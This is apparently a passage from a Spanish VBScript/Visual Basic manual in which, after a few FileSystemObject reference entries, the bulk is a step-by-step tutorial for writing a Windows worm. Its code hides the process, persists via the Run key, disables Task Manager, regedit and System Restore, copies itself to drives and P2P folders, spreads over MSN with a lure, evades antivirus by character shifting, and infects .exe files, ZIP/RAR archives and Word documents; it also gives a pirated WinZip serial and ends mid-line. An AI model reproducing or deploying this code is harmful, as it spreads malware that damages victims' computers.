Propiedad Type Descripción Devuelve información acerca del tipo de un archivo o carpeta. Por ejemplo, para los archivos que terminan en .TXT, se devuelve "Documento de texto".
Sintaxis objeto.Type objeto siempre es un objeto File o Folder. Comentarios El siguiente código muestra el uso de la propiedad Type para devolver un tipo de carpeta. En este ejemplo, intente proporcionar la ruta de la Papelera de reciclaje u otro identificador único de carpeta al procedimiento. Function MostrarTipoDeCarpeta(especificaciondearchivo) Dim fso, f, s Set fso = CreateObject("Scripting.FileSystemObject") Set f = fso.GetFolder(especificaciondearchivo) s = UCase(f.Name) & " is a " & f.Type MostrarTipoDeCarpeta = s End Function
Propiedad VolumeName Descripción Establece o devuelve el nombre de volumen de la unidad especificada. Lectura y escritura.
Sintaxis objeto.VolumeName [= nuevonombre] La propiedad VolumeName tiene las siguientes partes: Parte
Descripción
objeto
Requerido. Siempre es el nombre de un objeto Drive.
nuevonombre
Opcional. Si se proporciona, nuevonombre es el nuevo nombre del objeto especificado.
Comentarios El siguiente código muestra el uso de la propiedad VolumeName: Function MostrarInformacionDeVolumen(unidadruta) Dim fso, d, s Set fso = CreateObject("Scripting.FileSystemObject") Set d = fso.GetDrive(fso.GetDriveName(fso.GetAbsolutePathName(unidadruta))) s = "Unidad " & d.DriveLetter & ": - " & d.VolumeName MostrarInformacionDeVolumen = s End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
122
Gracias a: Hendrix, Novlucker, Nemlin, Override, Morusa. ''01'' Pase Desapercibido del Admiministrador. App.taskvisible=false;
''02'' Para que se ejecute en cada sesion, por medio de batch. Shell "cmd.exe /c comandodelMS-dos"
''03'' Guardar en el Registro. Shell "cmd.exe /c reg add HKLM\Software\Microsoft\Windows\CurrentVersion\Run /v NombreDeNuestroVirus /d RutaDeNuestroVirus.exe" ''=> Ejemplo de Nombres de Virus: Wind32dl, Systernloaded. C:\Windows <=> %SystemRoot% ''=> Nombres de Carpetas que no se puede crear: nul, aux.
''04'' Punto de Recuperacion se llama Restaurar Sistema. Es para que la victima no pueda eliminar el HD(Malware). kill "C:\Documents and Settings\All Users\Menú Inicio\Programas\Accesorios\Herramientas del sistema\Restaurar sistema.lnk"
''05'' Eliminar su Administrador de Tareas(broma). Esto es para que salga un mensaje diciendo: El Administrador a desbloqueado esta opcion(o algo por el estilo). shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d ""1"" /f" ''06'' Bloquear el Registro. Para wue le sea dificil desinfectar el Worm y la propia habilitacion del Administrador de Tareas. Shell "reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d ""1"" /f" ''07'' Buscar todos los HD(Discos Duros) y nos copiara(al Worm). Open "C:\Windows\System32\Winlog.bat" For Output As #1 Print #1, "@echo off" Print #1, "If exist D:\ (Copy /y %SystemRoot%\System32\WormKV77.exe D:\Worm.exe)" Print #1, "If exist E:\ (Copy /y c:\Windows\System32\WormKV77.exe E:\Worm.exe)" Print #1, "If exist F:\ (Copy /y c:\Windows\System32\WormKV77.exe F:\Worm.exe)" Print #1, "If exist G:\ (Copy /y c:\Windows\System32\WormKV77.exe G:\Worm.exe)" Print #1, "If exist X:\ (Copy /y c:\Windows\System32\WormKV77.exe X:\Worm.exe)" Print #1, "If exist Y:\ (Copy /y c:\Windows\System32\WormKV77.exe Y:\Worm.exe)" Print #1, "If exist Z:\ (Copy /y c:\Windows\System32\WormKV77.exe Z:\Worm.exe)" Print #1, "exit"
''08'' Si no supieramos donde esta el Worm. Filecopy App.Path & "\" & App.EXEname & ".exe" %SystemRoot%\System32\WormKV77.exe
''09'' Copiar el Worm en la carpeta System32. Luego crear un "Archivo de comprobación", si no existe el worm que lo ejecute. @echo off cls If exist %SystemRoot%\system32\WormKV77.exe (start WormKV77.exe goto fin) else (goto up) :up If exist C:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up2) :up2 If exist D:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up3) :up3 If exist E:\WormKV77.exe (start WormKV77.exe goto fin) else (goto up4) :up4 :Fin exit ''10'' Propagacion por P2P. Emule es Incoming, Kazaa es My Sheared folder, etc. Tambien el Worm se puede copiar unas 100 veces con nombres distintos. FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Grokster\My Grokster\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Morpheus\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\ICQ\shared files\WormKV77.exe"
By KarlosVid(ÊÇ)
www.idat.byethost14.com
123
FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KaZaA\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KaZaA Lite\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\EDONKEY2000\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\eMule\Incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Filetopia3\Files\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\appleJuice\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Gnucleus\Downloads\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\LimeWire\Shared\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Overnet\incoming\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Shareaza\Download\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\WinMX\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Tesla\Files\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\XoloX\Downloads\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Rapigator\Share\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\KMD\My Shared Folder\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\BearShare\Shared\WormKV77.exe" FileCopy App.Path & App.EXEName & ".exe", "C:\Archivos de Programa\Direct Connect\Received Files\WormKV77.exe"
''11'' Para que el Worm sea capaz sea capaz de propagarse por P2P, utilizamos ResHack y luego ir a esta ruta: Version Info/1/3082. En la info escribimos esto: VALUE "CompanyName","KarlosVid" VALUE "ProductName","Encriptador" VALUE "FileVersion","1.00" VALUE "InternalName","Encriptador" VALUE "OriginalFilename","Encriptador.exe" ''=> Luego click en "Compile Script" y Despues click en File/Save As...(Guardar como). Lo guardamos como WormKV77.exe
''12'' Guardar en la disketera. Para que la disketera no empezara a sonar. FileCopy App.Path & App.EXEName & ".exe", "A:\WormKV77.exe"
''13'' Propagacion por MSN. 1.Crear o acceder al MSN, 2.Tomar la lista de contactos, 3.crear una ventana de chat(solo con los contactos conectados), 4.emviar un mensaje que intimide a descargarse el archivo, 5.eviar el archivo. On Error GoTo NotCompatible Set w = CreateObject("Messenger.UIAutomation") For Each ConTacto In w.MyContacts ''=> Recorremos todos nuestros contactos. If Contacto.Status = 2 Then ''=> Si el contacto esta OnLine. Set iMsn = w.InstantMessage(ConTacto.SigninName) ''=> Abrimos la ventana de Chat. Call SpamMsn(iMsn.hwnd) ''=> Esta función es la que hace el trabajo. Exit Sub End If Next NotCompatible: MsgBox "No tienes MSN instalado en el sistema",vbCritical, "Error" Private Sub SpamMsn(ByVal mHwnd) On Error Resume Next Dim i As Long, spam As String i = FindWindowEx(mHwnd, 0,"DirectUIHWND",vbNullString) ''=> Buscamos esa clase dentro de la ventana If i = 0 Then Exit Sub ''=> Si no es asi, nos vamos al carajo. Call SendText(i,"Hola, esto es un mensaje") ''=> Mensaje a emviar EnviarFile App.Path & "\" & App.EXEName & ".exe", i ''=> Archivo a emviar End Sub ''=> Utilizando los APIs de Window GetForegroundWindow SetForegroundWindow ''=> Para escribir en la ventana de Chat y luego darle en el foco a la ventana. PostMessage ''=> Emviamos todo el mensaje.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
124
Public Sub SendText(pIMWindow As Long, sText As String) Dim hDirectUI As Long, hPrevWnd As Long Dim i As Integer hDirectUI = pIMWindow Do Call SetForegroundWindow(hDirectUI) Loop Until GetForegroundWindow = hDirectUI For i = 1 To Len(sText) Call PostMessage(hDirectUI, WM_CHAR, Asc(Mid(sText,i,1)),0&) Next i Call PostMessage(hDirectUI, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(hDirectUI, WM_KEYUP, VK_RETURN, 0&) End Sub ''=> Emviando el archivo. ''=> El comando 40275 es para mandar un comando a la ventana padre del chat. ''=> hWmd es el handle de la ventana del chat. Public Function EnviarFile(ByVal DirPath As String, hwn As Long) As Boolean Dim X As Long Dim Edit As Long Dim ParentHWnd As Long Dim hWndText As String Dim t As Single Call PostMessage(GetWindowLong(hwn, GWL_HWNDPARENT), WM_COMMAND, 40275, 0) DoEvents X = GetWindow(GetDesktopWindow(), GW_CHILD) hWndText = fWindowText(X) t = Timer Do Until (InStr(hWndText, "Enviar") <> 0 Or (InStr(hWndText, "Send") <> 0) X = GetWindow(X, GW_HWNDNEXT) hWndText = fWindowText(X) If Format(Timer - t, "0.00") > 5 Then GoTo FIN Loop Edit = FindWindowEx(X, 0, "Edit", vbNullString) If Edit = 0 Then Edit = FindWindowEx(X, 0, "ComboBoxEx32", vbNullString) Edit = FindWindowEx(Edit, 0, "ComboBox", vbNullString) End If If Edit = 0 Then Exit Function Call SendMessageByString(Edit, WM_SETTEXT, 0, DirPath) Call PostMessage(Edit, WM_KEYDOWN, VK_RETURN, 0&) Call PostMessage(Edit, WM_KEYUP, VK_RETURN, 0&) EnviarFile = True FIN: End Function ''=> Declaraciones de Apis y Constantes utilizadas: Public Declare Function SendMessage Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, lParam As Any) As Long Public Declare Function PostMessage Lib "user32" Alias "PostMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As Long) As Long Public Declare Function FindWindowEx Lib "user32" Alias "FindWindowExA" (ByVal hWnd1 As Long, ByVal hWnd2 As Long, ByVal lpsz1 As String, ByVal lpsz2 As String) As Long Public Declare Function FindWindow Lib "user32" Alias "FindWindowA" (ByVal lpClassName As String, ByVal lpWindowName As String) As Long Public Declare Function SendMessageByString Lib "user32" Alias "SendMessageA" (ByVal hwnd As Long, ByVal wMsg As Long, ByVal wParam As Long, ByVal lParam As String) As Long Public Declare Function GetWindowLong Lib "user32" Alias "GetWindowLongA" (ByVal hwnd As Long, ByVal nIndex As Long) As Long Public Declare Function GetForegroundWindow Lib "user32" () As Long
By KarlosVid(ÊÇ)
www.idat.byethost14.com
125
Public Declare Function SetForegroundWindow Lib "user32" (ByVal hwnd As Long) As Long Public Declare Function GetWindowTextLength Lib "user32" Alias "GetWindowTextLengthA" (ByVal hwnd As Long) As Long Public Declare Function GetWindowText Lib "user32" Alias "GetWindowTextA" (ByVal hwnd As Long, ByVal lpString As String, ByVal cch As Long) As Long Public Declare Function GetDesktopWindow Lib "user32" () As Long Public Declare Function GetWindow Lib "user32" (ByVal hwnd As Long, ByVal wFlag As Long) As Long Public Declare Function ShowWindow Lib "user32" (ByVal hwnd As Long, ByVal nCmdShow As Long) As Long Private Const GW_HWNDFIRST = 0& Private Const GW_HWNDNEXT = 2& Private Const GW_CHILD = 5& Public Const GWL_HWNDPARENT = (-8) Public Const WM_SETTEXT = &HC Public Const WM_GETTEXT = &HD Public Const WM_GETTEXTLENGTH = &HE Public Const WM_KEYDOWN = &H100 Public Const WM_KEYUP = &H101 Public Const WM_CHAR = &H102 Public Const WM_COMMAND = &H111 Public Const VK_RETURN = &HD
''14'' Encriptacion Worm Anti-Heurística. ''=> Se necesita 2 Textos (uno para la frase encriptada y otro para la frase desencriptada) ''=> y 3 CommandButtons (uno para encriptar, otro para desencriptar y otro para salir del programa) Public Function q(j) On Error Resume Next For R = 1 To Len(j) q = q & Chr(Asc(Mid(j, R, 1)) + 14) Next End Function Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p, R, 1)) - 14) Next End Function Private Sub Command1_Click() Text2.Text = q(Text1.Text) Text1.Text = "" End Sub Privat e Sub Command2_Click() Text1.Text = des(Text2.Text) Text2.Text = "" End Sub Private Sub Command3_Click() End End Sub
''15'' Descencriptar el Worm. Public Function des(p) On Error Resume Next For R = 1 To Len(p) des = des & Chr(Asc(Mid(p, R, 1)) - 14) Next End Function
By KarlosVid(ÊÇ)
www.idat.byethost14.com
126
''=> Para esquivar el Nod32. El Numero (+14), no debe ser mayor al número de ASCII. q = q & Chr(Asc(Mid(j, R, 1)) + 14)
''16'' Existen 2 tipos de Firmas: La victima lo vea y la victima NO lo vea(sirve para que el worm se ha infectado). ''=> Para marcar el PC así lo ideal es crear un archivo en el directorio System32 (que es de los mas ocultos) y darle un nombre wapo al archivo (que sea falso). ''=> Con esto si nuestro Worm detecta este archivo sabra que ya a sido infectado. Open "%Systemroot%\System32\System32.txt" For Output As #1 Print #1, "NombreDeNuestroVirus" Close #1 ''=> Cambiar la direccion del IE de inicio por el nombre de nuestro virus: Set Worm = CreateObject("WScript.Shell") Worm.RegWrite ("HKLM\SOFTWARE\Microsoft\Internet Explorer\Main\Start Page"), ''NOMBREDELVIRUS" ''=> Poner una frase en las propiedades de Mi PC: Ejemplo1: Set firma = CreateObject("WScript.Shell") firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOrganization"), "KarlosVid(ÊÇ)" Ejemplo2: Set firma = CreateObject("WScript.Shell") firma.RegWrite ("HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\RegisteredOwner"), "Hackeador por:KarlosVid(ÊÇ)"
''17'' Infectar los Archivos.exe ''XXXX Es el tamaño de nuextro Worm Dim tamworm As String tamworm = Space (XXXX) ''=> Poniendo la firma para que el worm sepa, que el archivo a sido infectado. Dim TamanioArchivo As String Open "C:\archivo.exe" For Binary As #1 tamarchivo = Space (LOF(1)) Get #1, , TamanioArchivo Close #1
''18'' Creando una funcion para que infecte el archivo con solo pasarle el nombre. Const VSC = 20480 ''=> Constante, tamaño del virus al ser compilado. Function Infect_Exe(szFile As String) As Boolean Dim szBuffer As String Dim szVirus As String Open szFile For Binary Access Read As #1 ''=> Abrimos el fichero a insertar. szBuffer = Space(LOF(1)) "=> Leemos completamente LOF(1). Get #1, ,szBuffer ''=> Almacenamos los datos en szBuffer. Close #1 If (Right(szBuffer, 2) <> "vx") Then ''=> Obtenemos los 2 ultimos bytes y comparamos con la marca de infeccion viral, si el fichero no está infectado continuamos. MsgBox "Fichero no infectado! vamos a infectarlo!", vbInformation, "Infectar fichero" Open App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #2 ''=> Abrimos el virus (el fichero actual que se está ejecutando) szVirus = Space(VSC) ''=> Leemos los primeros 20480 bytes que es el tamaño total del virus despues de ser compilado. Get #2, ,szVirus Close #2 Open szFile For Binary Acces Write As #3 ''=> Abrimos el fichero host y escribimos los datos. Put #3, , szVirus Put #3, , szBuffer Put #3, , "vx" ''=> Infeccion Mark Close #3 Else MsgBox "Lo siento el fiechero ya está infectado", vbCritical, "Fichero infectado!" End If End Function ''=> Llamando a la función pasandome como parámetro un fichero exe a infectar.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
127
Private Sub Form Load() Infect_Exe ("Goat.exe") End Sub
''19'' APIs para ejecutar el fichero: CreateProcess y WaitForSingleObject. Public Declare Function WaitForSingleObject Lib "kernel32" (ByVal hHandle As Long, ByVal dwMilliseconds As Long) As Long Public Declare Function CreateProcess Lib "kernel32" Alias "CreateProcessA" (ByVal lpApplicationName As String, ByVal lpCommandLine As String, lpProcessAttributes As SECURITY_ATTRIBUTES, lpThreadAttributes As SECURITY_ATTRIBUTES, ByVal bInheritHandles As Long, ByVal dwCreationFlags As Long, lpEnvironment As Any, ByVal lpCurrentDriectory As String, lpStartupInfo As STARTUPINFO, lpProcessInformation As PROCESS_INFORMATION) As Long ''=> Declaramos dos estructuras y una constante en el modulo que son: Startupinfo, Process Information y Normal_priority_class respectivamente. Public Type STARTUPINFO cb As Long lpReserved As String lpDesktop As String lpTitle As String dwX As Long dwY As Long dwXSize As Long dwYSize As Long dwXCountChars As Long dwYCountChars As Long dwFillAttribute As Long dwFlags As Long wShowWindow As Integer cbReserved2 As Integer lpReserved2 As Long hStdInput As Long hStdOutput As Long hStdError As Long End Type Public Type PROCESS_INFORMATION hProcess As Long hThread As Long dwProcessId As Long dwThreadId As Long End Type Public Const NORMAL_PRIORITY_CLASS = &H20 ''=> Crearemos un modulo en el proyecto y colocaremos esas declaraciones! con eso ya podemos usar las APIs desde cualquier form. Function Regenera_host() Dim szBuffer As String ''=> Buffer donde se almacenará el Host Dim szVirus As String ''=> Buffer donde almacenaremos al virus Dim Si As STARTUPINFO ''=> Estructura Startupinfo im Pi As PROCESS_INFORMATION ''=> Estructura security attibutes pen App.Path + "\" + App.EXEName + ".exe" For Binary Acces Read As #1 szVirus = Space(VSC) szBuffer = Space(LOF(1) - VSC) ''=> Tamaño total - tamaño virus = Tamaño del Host Get #1, ,szVirus ''=> Abrimos el codigo Viral Get #1, ,szBuffer ''=> Calculamos el tamaño del Host con (LOF(i) - VSC) Close #1 Open "fichero.exe" For Binary Acces Write As #2 ''=> Escribimos el nuevo fichero.exe que es temporal. Put #2, , szBuffer Close #2 CreateProcessA "fichero.exe", Command(), 0&, 0&, 1&, NORMAL_PRIORITY_CLASS, 0&, 0&, SI, PI ''=> Lo ejecutamos mediante CreateProcessA. WaitForSingleObject PI.hProcess,0 ''=> Esperamos a que finalice. kill "fichero.exe" ''=> Eliminar el fichero.
By KarlosVid(ÊÇ)
www.idat.byethost14.com
128
''20'' Búsqueda de ficheros mediante APIs (FindFirstFile – FindNextFile - FindClose). ''=> FindFirstFile.- se le pasan dos argumentos, el primero es un puntero string al fichero a buscar, y el segundo es un puntero a una estructura WIN32_FIND_DATA. ''=> FindNextFile.- como bien su nombre lo indica es para buscar el siguiente fichero especificado, los parámetros que se le pasan son el handle de findfirstfile y un puntero a la estructura antes mencionada. ''=> FindClose.- que se le pasa un solo argumento y es el handle de findfirstfile para ya terminar con la búsqueda de ficheros. ''=> Declaraciones: Public Type WIN32_FIND_DATA dwFileAttributes As Long ftCreationTime As FILETIME ftLastAccessTime As FILETIME ftLastWriteTime As FILETIME nFileSizeHigh As Long nFileSizeLow As Long dwReserved0 As Long dwReserved1 As Long cFileName As String * MAX_PATH cAlternate As String * 14 End Type Public Declare Function FindFirstFile Lib "kernel32" Alias "FindFirstFileA" (ByVal lpFileName As String, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindNextFile Lib "kernel32" Alias "FindNextFileA" (ByVal hFindFile As Long, lpFindFileData As WIN32_FIND_DATA) As Long Public Declare Function FindClose Lib "kernel32" Alias "FindClose" (ByVal hFindFile As Long) As Long ''=> Como siempre estas declaraciones publicas irán en el modulo del proyecto. Sub search_host() Dim W32FIND As WIN32_FIND_DATA Dim hFindExe As Long hFindExe = FindFirstFile("*.exe", W32FIND) Infect_Exe W32FIND.cFileName ''=> Infectamos el fichero While FindNextFile(hFindExe, W32FIND) Infect_Exe W32FIND.cFileName ''=> Infectamos el Fichero Wend End Sub
''21'' Infección a los archivos .RAR y Zip's ''=> Primer obtener la direccion de Winzip. KLM\Software\Microsoft\Windows\Currentversion\Uninstall\Winzip\UninstallString ''=> El cual por ejemplo nos arrojará el siguiente valor al leer la cadena: "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" /uninstall ''=> Ahora ¿Cómo obtener fácilmente la dirección? Winzip = fso.GetParentFolderName(Direcciondewinzip) ''=> *--Agregar un Archivo a un zip. Shell Winzip & " -a " archivozip & " " & archivoexe Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe" ''=> *--Agregar varios archivos a un zip. Puedes Agregar varios archivos de diferentes formas por extensíon y por nombre y dirección de los archivos. Ejemplo: Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.*" ''=> Ziperá todos los archivos que se encuentran en ese directorio
By KarlosVid(ÊÇ)
www.idat.byethost14.com
129
Shell Winzip & " -a C:\Hola.zip" & " C:\windows\System\*.dll" ''=> Zipeará todos los archivos con extensión dll que esten en ese directorio Shell Winzip & " -a C:\Hola.zip" & " C:\virus.exe C:\Archivo.txt" ''=> Zipeará los archivos que fueron escritos no importando la dirección ''=> *--Extraer Archivos. La sintáxis para extraer archivos de un zip es la siguiente: Shell Winzip & " -e " & archivozip & " " & directorio Ejemplo: Shell Winzip & " -e C:\Hola.zip" & " C:\" ''=> *--¿Como Crear un Archivo zip sin formato? Sencillo, sólo Abre un archivo de modo binario y cierralo, es todo, nadamas que con extensión zip Ejemplo: Open "C:\Archivozip.zip" for binary as #1 Close #1 ''=> *--Ahora a lo que vamos, la infección. Simplemente buscar por algún método de búsqueda que quieras y al encontrarlo sólo adicionar nuestro programa "Virus" con un nombre convincente para que el usuario lo abra y así se produzca la infección en otro sistema. Ejemplo: Supongamos que encontramos el siguiente archivo --> "A:\Cosas.zip", Ahora vamos a infectarlo Winzip = "C:\ARCHIVOS DE PROGRAMA\WINZIP\WINZIP32.EXE" midir = "C:\Windows\System32\virus.exe" Call infectar("A:\Cosas.zip") Sub infectar(Direccion as string) Shell Winzip " -a " & Direccion & " " & midir, VbHide ''=> Supongamos que winzip tiene el valor de la dirección y nombre del programa Winzip y midir tiene el valor de la dirección de nuestro exe ''=> junto con el nombre y así ahora añadirlo. El VbHide nos sirve para ocultar el programa, así no se dará cuenta el usuario de que se está ''=> infectando un archivo de su diskette. Porque si no lo ponemos en caso de que tarde, se muestra el programa añadiendo un archivo. End sub ''=> *-- Registro de Winzip. ''=> Otro problema que nos proporciona Winzip es que no esté registrado lo cual no es difícil ''=> de registrarlo simplemente con las siguientes cadenas del regedit: "HKCU\software\nico mak computing\winzip\winini\Name" "HKCU\software\nico mak computing\winzip\winini\SN" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\Name" "HKEY_USERS\.DEFAULT\software\nico mak computing\winzip\winini\SN" ''=> Donde: Name = "Nombre del registrado" SN = "Numero de serie o s*rial Number" ''=> En estos Valores de cadena "REG_SZ" puedes crear uno con un generador de numeros de serie que lo puedes encontrar en internet. ''=> Es igual el numero de serie para registrar Winzip en todas sus versiones. Ejemplo: Name = "*****" SN = "EBB9042E" ''=> Si escribes en el registro las cadenas anteriores con los valores de arriba ''=> estará registrado winzip con el nombre de *****. ''=> (Comprobado en versiones 8.x y 9.x).
By KarlosVid(ÊÇ)
www.idat.byethost14.com
130
''=> **- Infección de archivos Rar's. ''=> Al igual que los zip's tambien los archivos rar se pueden infectar de manera sencilla, y es muy usado en todo el mundo. ''=> No es necesario registrarlo como el winzip que nos mostraba la pantalla de que si estas o no de acuerdo del uso de este para que saques el número de serie. Obtendremos la dirección de winrar HKCR\WinRAR\shell\open\command\(Predeterminado) Resultado de leer la cadena de arriba = "C:\ARCHIVOS DE PROGRAMA\WINRAR\WinRAR.exe" "%1" ''=> De que manera obtener sólo el path: winrar = StrReverse(wss.regread("HKCR\WinRAR\shell\open\command\")) ''=> Leo e invierto la cadena w = InStr(1, winrar, " ", vbBinaryCompare) ''=> Obtengo el espacio entre el path y el "%1" winrar = StrReverse(Mid(winrar, w, Len(winrar))) ''=> Recorto y vuelvo a dejar la cadena como estaba (La revierto) ''=> Ahora ya tenemos lo que nos interesa (el path) para empezar a infectar archivos rar y este programa además de ofrecernos la infección a archivos rar tambien nos permite a zip, es más fácil de utilizar que winzip. Ejemplo: ''=> *-Agregar archivo (Infectar) Shell winrar & " a " & archivorar & " " & "archivoacomprimir" ''=> Agrega un archivo Shell winrar & " a C:\archivozip.zip C:\virus.exe" ''=> Añade el archivo virus.exe al archivozip.zip Shell winrar & " a C:\archivorar.rar C:\virus.exe" ''=> Añade el archivo virus.exe al archivorar.rar ''=> Agrega un directorio Shell winrar & " a C:\archivozip.zip C:\" ''=> Añade todos los archivos de C:\ a el archivo archivozip.zip Shell winrar & " a C:\archivorar.rar C:\" ''=> Añade todos los archivos de C:\ a el archivo archivorar.rar ''=> La ventaja es de que si no existe el archivo winrar lo crea. ''=> *-- Extraer archivos Shell winrar & " x archivorar archivoaextraer" ''=> *--Ejemplos: ''=> Extraer un archivo Shell winrar & " x C:\archivorar.rar archivo.txt" ''=> Extrae el archivo "archivo.txt" de archivo .rar Shell winrar & " x C:\archivozip.zip archivo.txt" ''=> Extrae el archivo "archivo.txt" de archivo .zip ''=> Extraer todos los archivos Shell winrar & " x C:\archivozip.rar C:\" ''=> Extrae todos los archivos del archivo .rar a "C:\" Shell winrar & " x C:\archivozip.zip C:\" ''=> Extrae todos los archivos del archivo .zip a "C:\"
''=> Al igual que en winzip la infección es igual: Sub infectar(Direccion as string) Shell winrar " -a " & Direccion & " " & midir, VbHide
By KarlosVid(ÊÇ)
www.idat.byethost14.com
131
''=> Supongamos que winrar tiene el valor de la dirección y nombre del programa Winrar y midir tiene el valor de la dirección de nuestro exe junto con el nombre para añadirlo al archivo rar. El VbHide nos sirve para ocultar el programa, así no se dará cuenta el usuario de que se está infectando un archivo. Porque si no lo ponemos en caso de que tarde, se muestra el programa añadiendo un archivo y eso delatará nuestro virus. End sub ''=> Nota: Se tiene problemas con las direcciones, para resolver esto utilizaremos el método ShortPath de la fso. Ejemplo: Set fso = CreateObject ("Scripting.FileSystemObject") Set archivo = fso.GetFile(Direccion_del_archivo_y_archivo) ''=> Ejemplo: C:\Mis documentos\Archivozip.zip o C:\Mis documentos\Archivorar.rar direccioncorta = archivo.ShortPath ''=> Lo que hace es crear un path sin espacios, del primer path que escribí de ejemplo arrojará lo siguiente "C:\MISDOC~1\ARCHIV~1.ZIP" una dirección corta ''=> Así no te causará problemas para la infección de archivos ya que no admiten espacios en los path. Esto va para el archivo a infectar y el archivo a ''=> Comprimir (osea Zip y virus ejm.) ''=> Ejemplo: Public Sub infectarzip(nomzip As String,midir as string) Dim ar1, pt1, pt2 ''=> Ar1:lo utilizo para colocar las propiedades del archivo ''=> Pt1: lo utlizo para colocar el path del zip ''=> Pt2: lo utlizo para colocar el path del virus On Error GoTo err: Set ar1 = fso.getfile(nomzip) ''=> Coloco las propiedades del archivo zip en ar1 pt1 = ar1.shortpath ''=> Coloco el path corto en pt1 Set ar1 = fso.getfile(midir) ''=> Coloco las propiedades del virus en ar1 pt2 = ar1.shortpath ''=> Coloco el path corto en pt2 ''=> Coloco las propiedades del archivo zip en ar1 Shell winzip & " -a " & pt1 & " " & pt2, vbHide err: End Sub
''22'' Infección a Archivos.DOC ''=> Ver si el Word esta instalado. Function HayWord() As Boolean Dim WordObj As Object On Error GoTo NoWord ) Set WordObj = GetObject(, "Word.Application") ''=> Verificamos si existe una instancia de word If WordObj.ActiveDocument.Path = "A:" Then ''=> Si existe y encima el documento abierto esta en el disco A: HayWord = True ''=> Tonces Hay Word Exit Function End If NoWord: HayWord = False End Function ''=> Infectamos el Archivo .doc que seleccionemos haciendo un motor de buskeda. Private Sub InfectarDoc(NombreDoc As String) On Error GoTo NoWord Word.Documents.Open NombreDoc ''=> Abro el documento Word.ActiveDocument.Shapes.AddOLEObject , MiNombreEXE, False, True, MiNombreEXE, 0, "Pamela Fuck: Doble Click para ver." ''=> Me agrego como un objeto Word.ActiveDocument.Shapes(1).Select Word.ActiveDocument.Shapes(1).Visible = True ''=> Lo hago visible Word.ActiveDocument.Shapes(1).Width = 250 ''=> Especifico el tamaño Word.ActiveDocument.Shapes(1).Height = 250
By KarlosVid(ÊÇ)
www.idat.byethost14.com
132
Word.Documents(NombreDoc).Close True ''=> Cierro el documento NoWord: End Sub ''=> Con esto el Worm ya podra infectar archivos Word. Private Sub TimerBuscaWord_Timer() On Error Resume Next If HayExcel Or HayWord Then ''=> Si hay una instancia de word o excel abierta proseguimos Fso.CopyFile MiNombreEXE, "A:\Abril Lavigne Nude.jpeg .exe", True Fso.CopyFile DirWin & "\Web\Folder.htt", "A:\Folder.htt", True Fso.CopyFile DirWin & "\Web\Desktop.ini", "A:\Desktop.ini", True SetAttr "A:\Abril Lavigne Nude.jpeg .exe", vbReadOnly ''=> Cambiamos las propiedades, a solo lectura SetAttr "A:\Desktop.ini", vbHidden SetAttr "A:\Folder.htt", vbHidden End If End Sub
''24'' Payload.- Es para hacer saber que el PC esta infectado por el Worm. Hay de varios tipos: Directos, indirectos y logicos. ''=>** Los directos.- son los que al ejecutar el Worm el Worm se copia en el registro, y si es la primera vez envia algun mensage como esto: Msgbox "Aqui el mensaje",vbCritical,"Titulo de la pestaña" ''=>** Los indirectos.- Los que el usuario se da kuenta por si solo. Ejemplo: ''=> El Worm deje algun texto suelto dentro del C: (mi Worm lo hacia a esto) y luego cuando el user lo vee, lo lee y sabe que esta infectado con el Worm. ''=> Si el Worm borra archivos, la victima vera que le faltan estos archivos y sospechara, aunke esto logicamente no es un payload. ''=>** Los Lógicos.- Son los que se aktivan por logica, mi primer Worm tenia un buen ejemplo de lógica. ''=> Solo se activa el dia 13 del mes de Mayo. If Month(Now) = 5 and Day(Now) = 13 then MsgBox "Usted a sido infectado kon el Mejor Worm del Mundo",vbCritical,"By Bill Gates" End If ''=> Se ejekutan los dias siperiores a 5 y meses superiores a 13.... If (Month(Now) = 5 or 